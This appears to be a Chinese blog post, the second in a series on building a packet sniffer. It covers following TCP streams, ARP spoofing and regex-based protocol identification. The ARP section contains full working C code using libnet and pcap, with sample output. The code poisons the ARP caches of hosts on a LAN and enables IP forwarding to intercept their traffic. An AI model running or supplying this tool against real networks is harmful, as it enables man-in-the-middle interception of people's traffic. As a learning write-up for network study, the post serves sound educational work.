编写自己的sniffer（二）

 

一、提取端到端的流数据

 

　　在wireshark抓包的过程中，发现了一个比较实用的功能，就是follow tcp stream,也即跟踪端到端之间两个主机间的所有应用层数据，于是我就自己尝试着实现这个功能，构造五元组数据结构，比较判断是否是相同连接。

由于有了上篇设计的流表，follow tcp stream的功能很容易实现，只需在原来的流表基础上，在五元组数据结构中添加一个指针域，指向该五元组的应用层数据结点。没识别一个相同的tcp或者udp连接，便插入该数据结点链表中，

所以follow tcp stream只需要遍历整个流表：1、计算hash；2、遍历五元组链表并比较；3、找到该五元组后，顺序遍历并打印应用层数据结点内容即可。

　　以下是follow tcp stream的运行结果：

　　

　　

为了提高应用层数据的可读性并直观的表示，下面是应用层数据打印的结果（跟wireshark图形界面显示的一样）：

 

二、arp欺骗

 

基本原理我就不罗嗦了，可以参考下面的文章（讲得非常不错）：

交换型网络环境嗅探原理及LINUX下的实现

但是作者的代码运行却出现了很多错误，我猜测是libnet的版本问题，所以参照新版本的libnet的API修改了源代码：

 

#include <stdarg.h>

#include <libnet.h>

#include <pcap.h>

#include <signal.h>



#define SECONDS 10

typedef struct host HOST;//存放主机信息的链表



struct host    

{

    u_long ip;  //IP地址

    u_char mac[ETHER_ADDR_LEN];//MAC地址

    int mac_flag;   //  0 时mac为空，1时mac不为空

    HOST * next;

};

HOST * head, * tail;





typedef struct arphdr

{

    u_int16_t  ar_hrd;    /*format of hardware address*/

    u_int16_t ar_pro;    /*format of protocol address*/

    u_char ar_hln;        /*length of hardware address*/

    u_char ar_pln;        /*length of protocol address*/

    u_int16_t ar_op;        /*ARP/RARP operation*/



    u_char ar_sha[6];    /*sender hardware address*/

    u_char ar_spa[4];    /*sender IP address*/

    u_char ar_tha[6];    /*target hardware address*/

    u_char ar_tpa[4];    /*target IP address*/

}arphdr_t ;





u_long MYIP ;//本机IP地址

u_char MYMAC[ETHER_ADDR_LEN];//本机MAC地址



int pktsize = LIBNET_ETH_H + LIBNET_ARP_H; //数据包

char * device;

pcap_t * p;

u_char errbuf[LIBNET_ERRBUF_SIZE >= PCAP_ERRBUF_SIZE ? LIBNET_ERRBUF_SIZE : PCAP_ERRBUF_SIZE];

u_char * packet;

libnet_t * netif;


int errexit(const char *format, ...)

{

    va_list    args;



    va_start(args, format);

    vfprintf(stderr, format, args);

    va_end(args);

    exit(1);

}



int mac_equal(u_char * mac1, u_char *mac2)

{

     return ( memcmp(mac1, mac2, ETHER_ADDR_LEN) == 0 ? 1 : 0);//比较mac1与mac2的地址是否相等，相等返回1

}





/*

 @param：ip，源ip/目的ip；mac，源mac/目的mac

 @func：被动收集网络拓朴结构，向链表增加主机信息

 @note：每收到一个ARP请求/应答包，都执行add_host( )两次：add_host(发送端IP，发送端MAC)，add_host(目的端IP，目的端MAC)。  

*/

void add_host(u_long ip, u_char * mac)

{

    HOST * new = NULL;

    HOST * cur = NULL;



    if( (ip == MYIP) || (mac && mac_equal(mac, MYMAC)) )//正常的ARP请求包和应答包,IP或MAC地址为本机的则忽略

        return;



    // 遍历链表查询IP地址

    for(cur = head; cur; cur = cur->next)

    {

        if( ip == cur->ip )//链表中存在该IP

        {

            if( mac )  // MAC不为空，则写入

            {

                memcpy(cur->mac, mac, ETHER_ADDR_LEN);    //update mac message

                cur->mac_flag = 1;

            }    

            return;

        }    

    }

    if(cur == NULL)  // 链表中没有该IP地址(ip!=cur->ip),则增加一个HOST节点

    {

        new = (HOST *)malloc(sizeof(HOST));

        new->ip = ip;

        if( mac )

        {

            memcpy(new->mac, mac, ETHER_ADDR_LEN);

            new->mac_flag = 1;

        }    

        else

            new->mac_flag = 0;//ARP请求



        new->next = NULL;

        if(! head)//把新节点加入链表

        {

            head = new;

            tail = new;

        }

        else

         {

            tail->next = new;

            tail = new;

        }  

    } 



    return;

}



void free_chain()

{

    HOST * temp;



    for(temp = head; temp; temp = head)

    {

        head = temp->next;

        free(temp);

    }

}



void print_chain()

{

    HOST * cur;

    char str[16];

    printf("\n遍历链表\n");

    for(cur = head; cur; cur = cur->next)

    {

        if(cur->mac_flag == 1)

            printf("(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x)[%s]\n",

                cur->mac[0], cur->mac[1], cur->mac[2], cur->mac[3], cur->mac[4], cur->mac[5],

             inet_ntop(AF_INET, (void *)&cur->ip, str,sizeof(str)));//inet_ntop将整数转换成点分十进制

        else

            printf("(null)[%s]\n", inet_ntop(AF_INET, (void *)&cur->ip, str,sizeof(str)));

    }

}



void sig_quit(int signo)

{

    printf("caught SIGQUIT, free memory and close and exit !\n");

    free_chain();

    pcap_close(p);

    libnet_destroy(netif);//单数据包内存释放

    libnet_close_link(netif);//关闭链路层接口设备

    exit(0);

}



void send_fake_arp_packet()//发送伪造数据包

{

    HOST * temp, * cur;

    u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};



    for(cur = head; cur ; cur = cur->next)

    {

        if( cur->mac_flag == 0)   // 发送arp请求包给cur->ip以求该ip的mac地址

        {

            libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, netif, 0);//构造以太网协议数据包

            libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,

                MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, netif, 0);//构造ARP数据包

            //if((libnet_write_link(netif, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)//发送链路层数据包

            if(libnet_write(netif) == -1)            

                errexit("libnet_write_link_layer error1\n");

            continue;

        }    

        for(temp = head; temp; temp = temp->next)

        {

            if (temp == cur) 

                continue;



            libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, netif, 0);

            libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,

                MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, netif, 0);

            //if((libnet_write_link(netif, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)

            if(libnet_write(netif) == -1)            

            {

                perror("write_link");                

                errexit("libnet_write_link_layer error2\n");

            }else {printf("\n write ok!\n");}

        }

    }    

    printf("\nStart Send Arp Packet\n");

}



void sig_arp(int signal)

{

    send_fake_arp_packet();

    alarm(SECONDS);

    return;

}    



void linux_enable_ip_forwarding(void)

{

    u_char *proc_node = "/proc/sys/net/ipv4/ip_forward";

    FILE *fp;

 

    if((fp = fopen(proc_node, "w")) == NULL)

        errexit("fopen FILE %s error\n", proc_node);

    if((fputs("1", fp)) == EOF)

        errexit("fputs FILE %s error\n", proc_node);

      fclose(fp);



    printf("IP forwarding enabled successfully\n");

}



int main(int argc, char ** argv)

{

    unsigned int localnet, netmask;

    char    str1[16], str2[16];

    char  * ptr, * data ;



    struct bpf_program fcode;

    struct pcap_pkthdr hdr;



    struct libnet_ethernet_hdr * eth;

    arphdr_t *arp;    

    struct libnet_ether_addr * my_ether_addr;



    //struct libnet_l *libnet_ptr;

    if ( (device = pcap_lookupdev(errbuf)) == NULL)//获取网络接口

        errexit("pcap_lookup: %s", errbuf);

    printf("device = %s\n", device);



    if ( (p = pcap_open_live(device, 8000, 1, 500, errbuf)) == NULL)//获得用于捕获网络数据包的数据包捕获描述字

        errexit("pcap_open_live: %s", errbuf);



    if (pcap_lookupnet(device, &localnet, &netmask, errbuf) < 0)//获取网络号

        errexit("pcap_lookupnet: %s", errbuf);

    

    printf("localnet = %s,  netmask = %s\n",

            inet_ntop(AF_INET, &localnet, str1, sizeof(str1)),

            inet_ntop(AF_INET, &netmask, str2, sizeof(str2)));



    printf("datalink = %d\n", pcap_datalink(p));//返回链路层类型

    

    

    if(argv[1] != NULL) // 设置过滤包

    {

        if(pcap_compile(p, &fcode, argv[1], 0, netmask) < 0)//将argv【1】编译到过滤程序中

            errexit("pcap_compile  : %s\n", errbuf);



        if(pcap_setfilter(p, &fcode) < 0)//把一个过滤器同一次抓包关联起来

            errexit("pcap_setfilter : %s\n", errbuf);

    }



    if ( signal(SIGALRM, sig_arp) == SIG_ERR )

        errexit("signal error\n");

    

    //LIBNET_LINK or LIBNET_LINK_ADV

    netif = libnet_init(LIBNET_LINK_ADV, device, errbuf);//第一个参数设定这个实列是在链路层工作，还是在IP层工作。 

    if(netif == NULL)

        perror("netif");

    

    if((my_ether_addr = libnet_get_hwaddr(netif)) == NULL)//获取接口设备硬件地址

        errexit("libnet_get_hwaddr : %s\n", errbuf);

    memcpy(MYMAC, (u_char *)my_ether_addr, ETHER_ADDR_LEN);

    

    if((MYIP = libnet_get_ipaddr4(netif)) == 0)//获取接口设备IP地址

        errexit("libnet_get_ipaddr : %s\n", errbuf);

    MYIP = htonl(MYIP);//将主机字节顺序转换成网络字节顺序



    printf("MYIP =  %s\n", inet_ntop(AF_INET, (void *)&MYIP, str1,sizeof(str1)));

    printf("MYMAC = %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",MYMAC[0], MYMAC[1],MYMAC[2],MYMAC[3],MYMAC[4],MYMAC[5]);

    linux_enable_ip_forwarding();



    fflush(stdout);//消除输出缓冲区

    signal(SIGINT, sig_quit);

    sig_arp(SIGALRM);
                    

    for( ; ; )

    {

        while((ptr = (char *)(pcap_next(p, &hdr))) == NULL);

        eth = (struct libnet_ethernet_hdr *)ptr;

        if(eth->ether_type == ntohs(ETHERTYPE_ARP))

        {

            arp = (arphdr_t *)(ptr+14);

            if(ntohs(arp->ar_op) == ARPOP_REQUEST)

            {

                printf("arp request : ");    

                printf("%s(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x) ask the MAC of IP = ",

                    inet_ntop(AF_INET, (void *)&arp->ar_spa, str1, sizeof(str1)),  //源ip：源mac

                    arp->ar_sha[0],

                    arp->ar_sha[1],

                    arp->ar_sha[2],

                    arp->ar_sha[3],

                    arp->ar_sha[4],

                    arp->ar_sha[5]);

                printf("%s\n", inet_ntop(AF_INET, (void *)&arp->ar_tpa, str1,sizeof(str1)));  //目的ip


                add_host(*((u_long *)arp->ar_spa), (u_char *)arp->ar_sha); // 添加源IP，MAC

                printf("\n添加目的ip，mac\n");

                add_host(*((u_long *)arp->ar_tpa), (u_char *)NULL);  // 添加目的IP,MAC（NULL）

                

                print_chain();

                fflush(stdout);

                continue;

            }



            if(ntohs(arp->ar_op) == ARPOP_REPLY)

            {       

                printf("arp reply   : ");    

                printf("%s reply ", inet_ntop(AF_INET, (void *)&arp->ar_spa, str1, sizeof(str1)));

                

                printf("%s(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x) ",

                    inet_ntop(AF_INET,(void *)&arp->ar_tpa, str1, sizeof(str1)),  

                    arp->ar_tha[0],

                    arp->ar_tha[1],

                    arp->ar_tha[2],

                    arp->ar_tha[3],

                    arp->ar_tha[4],

                    arp->ar_tha[5]);



                printf("my MAC is (%.2x:%.2x:%.2x:%.2x:%.2x:%.2x)\n", 

                    arp->ar_sha[0],

                    arp->ar_sha[1],

                    arp->ar_sha[2],

                    arp->ar_sha[3],

                    arp->ar_sha[4],

                    arp->ar_sha[5]);

            

                

                if( *((u_long *)arp->ar_spa) != MYIP  && mac_equal(arp->ar_sha, MYMAC) )//如果应答包是我发送的欺骗包则忽略

                    continue;

                    

                add_host(*((u_long *)arp->ar_spa), (u_char *)arp->ar_sha); // 添加源IP，MAC

                add_host(*((u_long *)arp->ar_tpa), (u_char *)arp->ar_tha);  // 添加目的IP，MAC

                print_chain();

                fflush(stdout);

                continue;
            }        
        }    
    } 
}

运行结果：

localnet = 192.168.0.0, netmask = 255.255.255.0
MYIP = 85.0.168.192
MYMAC = 44:87:fc:98:ec:ea
IP forwarding enabled successfully

发送arp响应（欺骗包）：
发送端MAC 　　　　 　　发送端IP 　　　　  目的MAC 　　　　   　　　目的IP
44:87:fc:98:ec:ea 　　192.168.0.1 　　　44:87:fc:98:ec:eb 　　　 192.168.0.41

发送arp响应（欺骗包）：
发送端MAC 　　　　　　 发送端IP 　　　　  目的MAC 　　　　　　　　 目的IP
44:87:fc:98:ec:ea 　　192.168.0.127 　　44:87:fc:98:ec:eb 　　   192.168.0.41

发送arp响应（欺骗包）：
发送端MAC 　　　　 　　发送端IP 　　　　  目的MAC 　　　　 　　　　目的IP
44:87:fc:98:ec:ea 　　192.168.0.41 　　 00:1a:64:a3:2b:e2 　　   192.168.0.1

发送arp响应（欺骗包）：
发送端MAC 　　　　　　 发送端IP 　　　　  目的MAC 　　　　　　　　 目的IP
44:87:fc:98:ec:ea 　　192.168.0.127 　  00:1a:64:a3:2b:e2 　　　192.168.0.1

发送arp请求（欺骗包）：
发送端MAC 　　　　　　 发送端IP 　　　　 目的MAC 　　　　　　　　 目的IP
44:87:fc:98:ec:ea 　　192.168.0.85 　 ff:ff:ff:ff:ff:ff 　　　　　　　192.168.0.127

Start Send Fake Arp Packet
arp request : 192.168.0.1(00:1a:64:a3:2b:e2) ask IP ——> "tell me you mac" 192.168.0.127

遍历主机链表格式：(MAC)[IP]
***************************
(44:87:fc:98:ec:eb)[192.168.0.41]
(00:1a:64:a3:2b:e2)[192.168.0.1]
(null)[192.168.0.127]
***************************

 

三、三次握手

 

这个直接上图了

 

四、基于正则表达式的应用层协议识别

 

以下是基本设计思路：

 

将各应用层协议正则模式串文件放到系统指定目录下，这些文件都可以从L7-filter官网下载:http://l7-filter.sourceforge.net/

 

详细设计流程：

PS：暂时实现了FTP、HTTP的识别，其他协议还不清楚原因。